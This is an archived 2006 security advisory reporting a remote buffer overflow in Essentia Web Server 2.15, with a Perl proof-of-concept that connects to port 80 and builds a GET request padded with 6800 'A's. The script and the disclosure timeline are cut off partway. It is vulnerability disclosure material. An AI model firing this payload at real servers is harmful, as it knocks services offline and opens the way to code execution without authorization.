essentia215.txt
Posted on 06 November 2006
-=[--------------------ADVISORY-------------------]=- Essentia Web Server V 2.15 Author:CorryL x0n3-h4ck.org -=[----------------------------------------------------]=- -=[+] Application: Essentia Web Server -=[+] Version: 2.15 -=[+] Vendor's URL: http://www.essencomp.com -=[+] Platform: Windows -=[+] Bug type: Buffer overflow -=[+] Exploitation: Remote -=[-] -=[+] Author: CorryL ~ corryl80[at]gmail[dot]com ~ -=[+] Reference: www.x0n3-h4ck.org -=[+] Virtual Office: http://www.kasamba.com/CorryL ..::[ Descriprion ]::.. Providing enhanced Web Application and Communication Services, this is a high performance scalable web server that supports thousands of virtual servers. ..::[ Bug ]::.. This software is affection from a buffer overflow what it would allow an attacker to perform arbitrary code on the system victim. Sending a GET+Ax6800 request, he would succeed to write above the seh point. ..::[ Proof Of Concept ]::.. #!/usr/bin/perl use IO::Socket; use Getopt::Std; getopts('h:', \%args); if (defined($args{'h'})) { $host = $args{'h'}; } print STDERR " -=[ Essentia Web Server 2.15 Remote DOS Exploit]=- "; print STDERR "-=[ Discovered By CorryL corryl80@gmail.com ]=- "; print STDERR "-=[ Coded by CorryL info:www.x0n3-h4ck.org ]=- "; if (!defined($host)) { Usage(); } $dos = "A"x6800; print "[+] Connect to $host "; $socket = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, Proto => 'tcp'); die unless $socket; print "[+] Sending DOS byte "; $data = "GET /$dos "; ..::[ Workaround ]::.. nothing ..::[ Disclousure Timeline ]::.. [30/10/2006] - Vendor notification [04/11/2006]
